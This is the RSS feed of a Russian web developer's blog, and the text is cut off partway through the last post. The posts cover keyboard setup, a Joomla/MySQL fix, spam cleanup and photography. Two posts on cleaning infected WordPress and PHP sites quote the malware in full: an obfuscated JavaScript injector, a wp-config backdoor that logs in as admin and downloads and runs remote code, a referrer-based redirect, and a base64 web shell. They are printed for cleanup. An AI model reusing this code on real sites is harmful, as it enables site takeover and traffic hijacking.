<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Tech Department. Техотдел.</title>
	<atom:link href="http://tech.osokin.me/feed/" rel="self" type="application/rss+xml" />
	<link>http://tech.osokin.me</link>
	<description>блог веб-разработчика</description>
	<lastBuildDate>Sun, 18 Mar 2012 07:24:16 +0000</lastBuildDate>
	<language>ru</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
	<!-- podcast_generator="podPress/8.8.10.2" -->
	<copyright>Copyright &#38;#xA9; Tech Department. Техотдел. 2012 </copyright>
	<managingEditor>admin@tech.osokin.me (Tech Department. Техотдел.)</managingEditor>
	<webMaster>admin@tech.osokin.me (Tech Department. Техотдел.)</webMaster>
	<ttl>1440</ttl>
	<image>
		<url>http://tech.osokin.me/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
		<title>Tech Department. Техотдел.</title>
		<link>http://tech.osokin.me</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>блог веб-разработчика</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Society &amp; Culture" />
	<itunes:author>Tech Department. Техотдел.</itunes:author>
	<itunes:owner>
		<itunes:name>Tech Department. Техотдел.</itunes:name>
		<itunes:email>admin@tech.osokin.me</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://tech.osokin.me/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<item>
		<title>Apple клавиатура под Windows 7</title>
		<link>http://tech.osokin.me/2012/03/04/apple-keyboard-windows-7/</link>
		<comments>http://tech.osokin.me/2012/03/04/apple-keyboard-windows-7/#comments</comments>
		<pubDate>Sun, 04 Mar 2012 11:37:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Железки]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[windows 7]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=815</guid>
		<description><![CDATA[Питаю определенную слабость к компьютерам apple и довольно давно купил себе apple keyboard USB с цифровым блоком. Но под виндой эта клавиатура работает совсем не так как на маке. Во первых функциональные клавиши не работают или работают с использованием FN клавиши. Во вторых нет кнопки insert что вводит в ступор при работе по ssh через [...]]]></description>
			<content:encoded><![CDATA[<p>Питаю определенную слабость к компьютерам apple и довольно давно купил себе apple keyboard USB с цифровым блоком.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2012/03/applpelpele.jpg" rel="lightbox[815]"><img class="aligncenter size-full wp-image-816" title="applpelpele" src="http://tech.osokin.me/wp-content/uploads/2012/03/applpelpele.jpg" alt="" width="475" height="211" /></a></p>
<p>Но под виндой эта клавиатура работает совсем не так как на маке. Во первых функциональные клавиши не работают или работают с использованием FN клавиши. Во вторых нет кнопки insert что вводит в ступор при работе по ssh через putty.</p>
<p>Однако есть всего два простых шага чтобы все заработало как надо.</p>
<p>ШАГ 1</p>
<p>Установить драйвер клавиатуры от Apple Boot Camp, весь буткамп не обязательно ставить, достаточно установить только драйвер для клавиатуры, он отлично работает. Сразу скажу что у меня 64 битная версия Windows 7 Home Premium лицензия с последними апдейтами на дату 04.03.2012.<strong> Скачать драйвер клавиатуры можно <a href="http://tech.osokin.me/shara/AppleKeyboardInstaller64_BootCamp3_1.zip"> отсюда (64 битная версия).</a></strong></p>
<p><a href="http://tech.osokin.me/shara/AppleKeyboardInstaller64_BootCamp3_1.zip"></a>После установки драйвера у вас все заработает и даже будет эмуляция клавиши insert через комбинацию клавиш FN+return. Но по прежнему не будут работать функциональные клавиши без FN. Чтобы это исправить отредактируем реестр, заранее предупреждаю &#8211; сделайте резервную копию реестра и очень аккуратно выполняйте следующие действия.</p>
<p>ШАГ 2</p>
<p>1. Запускаете regedit (пуск \ выполнить \ regedit);<br />
2. ищете ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\KeyMagic<br />
3. Параметр OSXFnBehavior меняется на 00;</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2012/03/Image-1.jpg" rel="lightbox[815]"><img class="aligncenter size-full wp-image-817" title="Image 1" src="http://tech.osokin.me/wp-content/uploads/2012/03/Image-1.jpg" alt="" width="455" height="327" /></a><br />
4. В параметре Keymap в конце строки дописывается (в HEX виде 68 49);</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2012/03/Image-31.jpg" rel="lightbox[815]"><img class="aligncenter size-full wp-image-818" title="Image 31" src="http://tech.osokin.me/wp-content/uploads/2012/03/Image-31.jpg" alt="" width="455" height="327" /></a><br />
5. Компьютер перезагружается или можно просто выдернуть клавиатуру из USB разъема и заново ее подключить, у меня все сразу заработало.</p>
<p>После этих нехитрых процедур у нас появляется <strong>клавиша insert на месте клавиши f13, printscreen находится на клавише f14.</strong></p>
<p>Удачи, если будут вопросы &#8211; пишите в комментариях.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2012/03/04/apple-keyboard-windows-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Еще один вирус, теперь WordPress</title>
		<link>http://tech.osokin.me/2012/01/29/another-virus-wordpress/</link>
		<comments>http://tech.osokin.me/2012/01/29/another-virus-wordpress/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 07:44:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Безопасность]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=801</guid>
		<description><![CDATA[Снова столкнулся с интересным вирусом поражающим WordPress Блоги, особенно те, которые используют timthumb плагин для ресайза изображений. Рекомендую всем обновить timthumb до последней версии отсюда. Я не расскажу точно как происходит заражение но расскажу что нужно чистить. Вирус поражает все файлы javascript на хостинге кодом следующего вида &#160; var_0x4470=&#187;\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\ МНОГО БУКВ x36\x7C\x36\x34\x7C\x68\x74\x74\x70&#8243;,&#187;\x72\x65\x70\x6C\x61\x63\x65&#8243;,&#187;",&#187;\x5C\x77\ x2B&#187;,&#187;\x5C\x62&#8243;,&#187;\x67&#8243;];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5 ,_0xa064x6){_0xa064x5=function [...]]]></description>
			<content:encoded><![CDATA[<p>Снова столкнулся с интересным вирусом поражающим WordPress Блоги, особенно те, которые используют timthumb плагин для ресайза изображений. Рекомендую всем обновить timthumb до последней версии <a href="http://timthumb.googlecode.com/svn/trunk/timthumb.php">отсюда</a>.</p>
<p>Я не расскажу точно как происходит заражение но расскажу что нужно чистить.</p>
<p><strong>Вирус поражает все файлы javascript на хостинге кодом следующего вида</strong></p>
<p>&nbsp;</p>
<p><em>var_0x4470=&raquo;\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\</em></p>
<p><em>МНОГО БУКВ</em></p>
<p><em>x36\x7C\x36\x34\x7C\x68\x74\x74\x70&#8243;,&raquo;\x72\x65\x70\x6C\x61\x63\x65&#8243;,&raquo;",&raquo;\x5C\x77\</em></p>
<p><em>x2B&raquo;,&raquo;\x5C\x62&#8243;,&raquo;\x67&#8243;];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5</em></p>
<p><em>,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5]</em></p>
<p><em>[_0x4470[4]](/^/,String)){while(_0xa064x3&#8211;){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=</em></p>
<p><em>_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5)</em></p>
<p><em>{return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;}</em></p>
<p><em>;while(_0xa064x3&#8211;){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]</em></p>
<p><em>( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4</em></p>
<p><em>[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]]</em></p>
<p><em>(_0x4470[1]),0,{}));</em></p>
<p><em><br />
</em></p>
<p><strong>Все файлы JS надо чистить, код находится в конце.</strong></p>
<p><strong>Второе, надо проверить файлы wp-settings и wp-config</strong></p>
<p><strong>В wp-settings вы должны найти следующий код</strong></p>
<p><strong><br />
</strong></p>
<p><em>function counter_wordpress() {$_F=__FILE__;$_X=&#8217;Pz48P3BocCAkM3JsID0gJ2h0dHA6</em></p>
<p><em>Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+&#8217;;eval(base64_decode(&#8216;JF9YPWJhc2U2NF9kZW</em></p>
<p><em>NvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPW</em></p>
<p><em>VyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOy</em></p>
<p><em>RfWD0wOw==&#8217;));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip =</em></p>
<p><em>$_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SE</em></p>
<p><em>RVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url</em></p>
<p><em>.&#8217;?ip=&#8217;.$ip.&#8217;&amp;host=&#8217;.$host.&#8217;&amp;uri=&#8217;.$uri.&#8217;&amp;ua=&#8217;.$ua.&#8217;&amp;ref=&#8217;.$ref;$ch = curl</em></p>
<p><em>_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch,</em></p>
<p><em>CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch</em></p>
<p><em>);curl_close($ch);echo $re;}add_action(&#8216;wp_head&#8217;, &#8216;counter_wordpress&#8217;);</em></p>
<p><em><br />
</em></p>
<p><strong>В файле wp-config добавится несколько тысяч пустых строк и там будет скрыт код вида:</strong></p>
<p><strong><br />
</strong></p>
<p><em>if (isset($_GET['pingnow'])&amp;&amp; isset($_GET['pass'])){</em></p>
<p><em>if ($_GET['pass'] == &#8216;b53b3a3d6ab90ce0268229151c9bde11&#8242;){</em></p>
<p><em>if ($_GET['pingnow']== &#8216;login&#8217;){</em></p>
<p><em>$user_login = &#8216;admin&#8217;;</em></p>
<p><em>$user = get_userdatabylogin($user_login);</em></p>
<p><em>$user_id = $user-&gt;ID;</em></p>
<p><em>wp_set_current_user($user_id, $user_login);</em></p>
<p><em>wp_set_auth_cookie($user_id);</em></p>
<p><em>do_action(&#8216;wp_login&#8217;, $user_login);</em></p>
<p><em>}</em></p>
<p><em>if (($_GET['pingnow']== &#8216;exec&#8217;)&amp;&amp;(isset($_GET['file']))){</em></p>
<p><em>$ch = curl_init($_GET['file']);</em></p>
<p><em>$fnm = md5(rand(0,100)).&#8217;.php&#8217;;</em></p>
<p><em>$fp = fopen($fnm, &laquo;w&raquo;);</em></p>
<p><em>curl_setopt($ch, CURLOPT_FILE, $fp);</em></p>
<p><em>curl_setopt($ch, CURLOPT_HEADER, 0);</em></p>
<p><em>curl_setopt($ch, CURLOPT_TIMEOUT, 5);</em></p>
<p><em>curl_exec($ch);</em></p>
<p><em>curl_close($ch);</em></p>
<p><em>fclose($fp);</em></p>
<p><em>echo &laquo;&lt;SCRIPT LANGUAGE=\&raquo;JavaScript\&raquo;&gt;location.href=&#8217;$fnm&#8217;;&lt;/SCRIPT&gt;&raquo;;</em></p>
<p><em>}</em></p>
<p><em>if (($_GET['pingnow']== &#8216;eval&#8217;)&amp;&amp;(isset($_GET['file']))){</em></p>
<p><em>$ch = curl_init($_GET['file']);</em></p>
<p><em>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);</em></p>
<p><em>curl_setopt($ch, CURLOPT_HEADER, 0);</em></p>
<p><em>curl_setopt($ch, CURLOPT_TIMEOUT, 5);</em></p>
<p><em>$re = curl_exec($ch);</em></p>
<p><em>curl_close($ch);</em></p>
<p><em>eval($re);</em></p>
<p><em>}}}</em></p>
<p><em><br />
</em></p>
<p><strong>Его нужно тоже удалить.</strong></p>
<p>&nbsp;</p>
<p><strong>Кроме того в папке с темами и кешем вы найдете следующий ад, вмоем случае тут: htdocs/wp-content/themes/Имя темы/cache</strong></p>
<p><strong>Там будут файл index.php index.html и множество закодированных файлов с именами вида:</strong></p>
<p><em>timthumb_int_300e3fd45f2cbb61e647ee6207a8d619.timthumb.txt</em></p>
<p><em>timthumb_int_4a9d4727385b1d3000c0c269de395e6f.timthumb.txt</em></p>
<p><em>ИТД</em></p>
<p><strong>Все кроме изображений надо удалить. Файл  index.html у меня также содержал код вируса.</strong></p>
<p>&nbsp;</p>
<p>После этих операций, яндекс разблокировал сайт и сказал что нет вируса, но лучше всего сделать бэкап базы данных, переставить движок, тему и развернуть сайт заново, так как вирус портит огромное число файлов и можно что-то пропустить.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2012/01/29/another-virus-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Забавный вирус на сайте base64_decode</title>
		<link>http://tech.osokin.me/2012/01/10/virus-base64_decode/</link>
		<comments>http://tech.osokin.me/2012/01/10/virus-base64_decode/#comments</comments>
		<pubDate>Tue, 10 Jan 2012 08:35:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Общие темы]]></category>
		<category><![CDATA[Проекты]]></category>
		<category><![CDATA[Хостинг]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=790</guid>
		<description><![CDATA[Ко мне обратился клиент с задачей почистить сайт от вируса. Проблемы начались с того, что при переходе с поисковой системы Яндекс, с сайта клиента начало редиректить на абсолютно другой ресурс, но при заходе на сайт по прямой ссылке все отлично работало. Вооружившись ФТП доступом ), полез смотреть. Во ВСЕХ php файлах был кусок кода при [...]]]></description>
			<content:encoded><![CDATA[<p>Ко мне обратился клиент с задачей почистить сайт от вируса. Проблемы начались с того, что при переходе с поисковой системы Яндекс, с сайта клиента начало редиректить на абсолютно другой ресурс, но при заходе на сайт по прямой ссылке все отлично работало.</p>
<p>Вооружившись ФТП доступом ), полез смотреть. Во ВСЕХ php файлах был кусок кода при открывающемся теге &lt;?php</p>
<p><em>eval(base64_decode(&laquo;DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcn</em><br />
<em>Nfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFR</em><br />
<em>QX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0</em><br />
<em>KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN</em><br />
<em>0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibG</em><br />
<em>VyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXI</em><br />
<em>sImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHI</em><br />
<em>oJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9y</em><br />
<em>IHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3</em><br />
<em>R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3R</em><br />
<em>yaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV</em><br />
<em>4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19t</em><br />
<em>YXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcm</em><br />
<em>VmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5</em><br />
<em>jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0</em><br />
<em>cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQ</em><br />
<em>poZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLjM0NS5wbC8iKTsN</em><br />
<em>CmV4aXQoKTsNCn0NCn0NCn0NCn0=&raquo;));</em></p>
<p>Расшифровать этот код удалось при помощи <a href="http://base64-encoder-online.waraxe.us/">этого ресурса</a>.</p>
<p>И вот тут то я увидел что код просто гениален )</p>
<p><em>error_reporting(0);</em><br />
<em>$qazplm=headers_sent();</em><br />
<em>if (!$qazplm){</em><br />
<em>$referer=$_SERVER['HTTP_REFERER'];</em><br />
<em>$uag=$_SERVER['HTTP_USER_AGENT'];</em><br />
<em>if ($uag) {</em><br />
<em>if (stristr($referer,&raquo;yahoo&raquo;) or stristr($referer,&raquo;bing&raquo;) or stristr($referer,&raquo;rambler&raquo;) or stristr($referer,&raquo;gogo&raquo;) or stristr($referer,&raquo;live.com&raquo;)or stristr($referer,&raquo;aport&raquo;) or stristr($referer,&raquo;nigma&raquo;) or stristr($referer,&raquo;webalta&raquo;) or stristr($referer,&raquo;begun.ru&raquo;) or stristr($referer,&raquo;stumbleupon.com&raquo;) or stristr($referer,&raquo;bit.ly&raquo;) or stristr($referer,&raquo;tinyurl.com&raquo;) or preg_match(&laquo;/yandex\.ru\/yandsearch\?(.*?)\&amp;lr\=/&raquo;,$referer) or preg_match (&laquo;/google\.(.*?)\/url/&raquo;,$referer) or stristr($referer,&raquo;myspace.com&raquo;) or stristr($referer,&raquo;facebook.com&raquo;) or stristr($referer,&raquo;aol.com&raquo;)) {if (!stristr($referer,&raquo;cache&raquo;) or !stristr($referer,&raquo;inurl&raquo;)){</em><br />
<em>header(&laquo;Location: http://happynewyear.345.pl/&raquo;);</em><br />
<em>exit();</em><br />
<em>}}}}</em></p>
<p>&nbsp;</p>
<p>В двух словах, эта гадость отслеживает откуда пришел юзер и если он пришел с ресурса по ссылке из этого списка url, то идет редирект на чужой сайт. Очень красиво и сразу отловить такую заразу не всем удастся. Ведь на свои ресурсы мы как правило заходим по прямой ссылке.</p>
<p>Чистить проще всего с помощью netbeans</p>
<p>Скачиваем весь сайт на локальную машину, добавляем его как project with existing source и делаем автозамену по всему проекту. Этот кусок кода меняем на пробел или пустоту. После примерно 15000 автозамен сайт чист. Для надежность можно провести поиск по base64_decode и руками проверить оставшиеся файлы. Чистить все руками очень долго и муторно )</p>
<p>Удачи.</p>
<p>&nbsp;</p>
<p><strong>UPDATE 29/01/2012</strong></p>
<p>Вирус проявил себя снова, искали shell на сайте и нашли</p>
<p>проверьте папку images в корне сайта там должен быть файл post.php со следующим содержанием</p>
<p>&lt;?php eval(base64_decode($_POST["php"])); ?&gt;</p>
<p>И еще кое что, я даже не знаю предыдущий ли это шелл, клиенту уже лечил кто-то сайт, но на всякий случай проверьте папку</p>
<p>/components/com_arhcive/</p>
<p>ее название не случайно с ошибкой, там лежит готовый шелл для заливки всякой гадости на ваш сайт.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2012/01/10/virus-base64_decode/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Joomla 1.6 баг с Mysql, при переносе сайта</title>
		<link>http://tech.osokin.me/2011/12/20/joomla-1-6-%d0%b1%d0%b0%d0%b3-%d1%81-mysql-%d0%bf%d1%80%d0%b8-%d0%bf%d0%b5%d1%80%d0%b5%d0%bd%d0%be%d1%81%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/</link>
		<comments>http://tech.osokin.me/2011/12/20/joomla-1-6-%d0%b1%d0%b0%d0%b3-%d1%81-mysql-%d0%bf%d1%80%d0%b8-%d0%bf%d0%b5%d1%80%d0%b5%d0%bd%d0%be%d1%81%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 22:35:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Хостинг]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=788</guid>
		<description><![CDATA[Столкнулся с интересным багом, и думаю много еще кто столкнется. Пишу решение тут, работает проверено. Итак, эта ошибка возникает при восстановлении Базы Данных сайта из бэкапа или при переносе, особенно если вы делаете экспорт БД через phpmyadmin. При импорте Mysql пишет ошибку: #1064 – You have an error in your SQL syntax; check the manual [...]]]></description>
			<content:encoded><![CDATA[<p>Столкнулся с интересным багом, и думаю много еще кто столкнется. Пишу решение тут, работает проверено.</p>
<p>Итак, эта ошибка возникает при восстановлении Базы Данных сайта из бэкапа или при переносе, особенно если вы делаете экспорт БД через phpmyadmin.</p>
<p>При импорте Mysql пишет ошибку:</p>
<p><strong>#1064 – You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘USING BTREE)</strong></p>
<p>Как правило это ошибка при переносе с более новых версий mysql на более старые. А это все хостеры, не желающие обновляться. Вот и я столкнулся с этой ошибкой когда переносил БД сайта из под ubuntu сервера, который стоит дома на gandi.net облачный хостинг.</p>
<p>Суть ошибки кроется в одной единственной строке, даже скорее ее части (выделено жирным):</p>
<p><em>KEY `idx_usergroup_nested_set_lookup`<strong> (`lft`,`rgt`) USING BTREE</strong></em></p>
<p>откройте дамп базы данных с помощью текстового редактора notepad++ или чем-то еще, и сделайте поиск по <strong>USING BTREE</strong></p>
<p>Вся проблема решается если поменять две вещи местами:</p>
<p><strong>KEY `idx_usergroup_nested_set_lookup` (`lft`,`rgt`) USING BTREE</strong></p>
<p>на</p>
<p><strong>KEY `idx_usergroup_nested_set_lookup` USING BTREE (`lft`,`rgt`)</strong></p>
<p>и все, дамп БД отлично разворачивается и сайт работает.</p>
<p>&nbsp;</p>
<p>Надеюсь это вам поможет, пишите в комментариях, помогло ли, и о своих способах решения этой проблемы.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2011/12/20/joomla-1-6-%d0%b1%d0%b0%d0%b3-%d1%81-mysql-%d0%bf%d1%80%d0%b8-%d0%bf%d0%b5%d1%80%d0%b5%d0%bd%d0%be%d1%81%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Спам трекбеки (trackbaсks)</title>
		<link>http://tech.osokin.me/2011/12/18/%d1%81%d0%bf%d0%b0%d0%bc-%d1%82%d1%80%d0%b5%d0%ba%d0%b1%d0%b5%d0%ba%d0%b8-trackba%d1%81ks/</link>
		<comments>http://tech.osokin.me/2011/12/18/%d1%81%d0%bf%d0%b0%d0%bc-%d1%82%d1%80%d0%b5%d0%ba%d0%b1%d0%b5%d0%ba%d0%b8-trackba%d1%81ks/#comments</comments>
		<pubDate>Sun, 18 Dec 2011 12:46:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Общие темы]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=784</guid>
		<description><![CDATA[Проблему со спам комментариями я решил давным давно, но спамеры не дремлют, и теперь блог наводнили спамовые трекбеки с сылками на посты, рекомендую всем сделать следующее: отключить в настройках блога: Параметры-&#62;Обсуждение-&#62;&#187;Разрешить оповещения с других блогов (уведомления и обратные ссылки)&#187;  - снять с этого галочку. пройтись по всем записям блога и отключить трекбеки у каждой &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Проблему со спам комментариями я решил давным давно, но спамеры не дремлют, и теперь блог наводнили спамовые трекбеки с сылками на посты, рекомендую всем сделать следующее:</p>
<p>отключить в настройках блога:</p>
<ul>
<li>Параметры-&gt;Обсуждение-&gt;&raquo;<label for="default_ping_status">Разрешить оповещения с других блогов (уведомления и обратные ссылки)&raquo;  - снять с этого галочку.</label></li>
<li>пройтись по всем записям блога и отключить трекбеки у каждой</li>
</ul>
<p>&nbsp;</p>
<p>Если у вас в блоге очень много записей, то вам надо подружиться с mysql и phpmyadmin оболочкой.</p>
<p>Для начала можно почистить старые редакции запией, они увеличивают БД и тормозят блог:</p>
<p><strong>DELETE FROM wp_posts WHERE post_type = &laquo;revision&raquo;;</strong></p>
<p>И волшебная команда чтобы удалить спам комментарии:</p>
<p><strong>DELETE FROM wp_comments WHERE comment_approved = &#8217;0&#8242;;</strong></p>
<p>Ну и самая главная команда, чтобы отключить трекбеки у всех постов:</p>
<p><strong>UPDATE wp_posts SET ping_status = &#8216;closed&#8217; WHERE post_status = &#8216;publish&#8217;;</strong></p>
<p>&nbsp;</p>
<p>Пользуйтесь, делитесь своим опытом в комментариях.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2011/12/18/%d1%81%d0%bf%d0%b0%d0%bc-%d1%82%d1%80%d0%b5%d0%ba%d0%b1%d0%b5%d0%ba%d0%b8-trackba%d1%81ks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Креветочная фотосессия для стоков</title>
		<link>http://tech.osokin.me/2011/12/13/shrimp-fotostock/</link>
		<comments>http://tech.osokin.me/2011/12/13/shrimp-fotostock/#comments</comments>
		<pubDate>Tue, 13 Dec 2011 19:07:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Фото]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=707</guid>
		<description><![CDATA[Недавно увлекся съемкой для фотостоков. Даже прикупил немного оборудования в помощь своему &#171;хобби&#187;. Снимаю я уже довольно давно, начинал с Olympus c-740, а 6 лет назад купил nikon d70s и продолжаю снимать на него. Для формата А3 его хватает. С любимой камерой побывал на Камчатке в 2007 году и даже удалось поснимать нерп на выходе [...]]]></description>
			<content:encoded><![CDATA[<p>Недавно увлекся съемкой для фотостоков. Даже прикупил немного оборудования в помощь своему &laquo;хобби&raquo;. Снимаю я уже довольно давно, начинал с Olympus c-740, а 6 лет назад купил nikon d70s и продолжаю снимать на него. Для формата А3 его хватает. С любимой камерой побывал на <a href="http://www.dreamstime.com/stock-photos-kamchatka-01-image22376693">Камчатке в 2007 году</a> и даже удалось поснимать нерп на выходе из бухты Петропавловск-камчатский.</p>
<p>За долгие 6 лет у меня постепенно докупалось фотооборудование и в итоге я имею следующее:</p>
<p><strong>nikon d70s </strong>собственно сама камера</p>
<p><strong>Объективы:</strong></p>
<ul>
<li>18-70 nikkor AF-S 3,5-4,5 ED</li>
<li>50mm nikkor 1,8D</li>
<li>70-300 Sigma APO DG 4-5,6 macro</li>
</ul>
<p><strong>Вспышки:</strong></p>
<ul>
<li>Nikon sb-600</li>
<li>raylab r22 &#8211; х2 штуки</li>
</ul>
<p><strong>Прочее оборудование:</strong></p>
<ul>
<li>отражатель matin 56 см 5 in 1</li>
<li>штатив rekam 3х секционный 165 см (самое лучшее в этом классе за свою цену, тяжелый и устойчивый)</li>
<li>Поляризационные светофильтры: marumi 52 mm, 67 mm</li>
<li>Cross-screen светофильтр: marumi 52 mm</li>
<li>Инфракрасный светофильтр 52 mm</li>
<li>Нейтрально-серый градиентный фильтр 67 mm (для съемки пейзажей и притемнения неба)</li>
<li>Макролинза +4 52 mm marumi</li>
</ul>
<p>и.т.д.</p>
<p>Оборудование копится, а снимаю очень редко, вот и начал снимать для стоков. Первая фотография которую я разместил на стоке была фотография <a href="http://www.dreamstime.com/earning_det.php?imageid=1046071">кофейной чашки</a> снятая на подоконнике в кухне в далеком 2005 году. Я ее выложил на фотосток <a href="http://www.dreamstime.com/Aosokin_info">dreamstime</a>. И забыл про него наверное на полгода. Спустя полгода зайдя на фотосток, обнаружил, что мое фото кто-то купил. Так я заработал свои первые 50 центов ))))</p>
<p>Не буду распыляться по мелочам, перейдем к съемке.</p>
<p>Сегодня жутко захотелость что-то поснимать, а нечего. В морозилке нашел несколько креветок, причем весьма неплохого качества. Начнем ставить свет.</p>
<p>Из оборудования нам понадобилось следующее:</p>
<ul>
<li>лайткуб (который мне любезно одолжил<a href="http://twitter.com/#!/bata_good"> @bata_good)</a></li>
<li>вспышка nikon sb-600</li>
<li>2 ведомые вспышки raylab r-22</li>
<li>отражатель с серебристой поверхностью</li>
<li>штатив и что-то что могло бы держать отражатель, мне помог второй штатив для этих целей.</li>
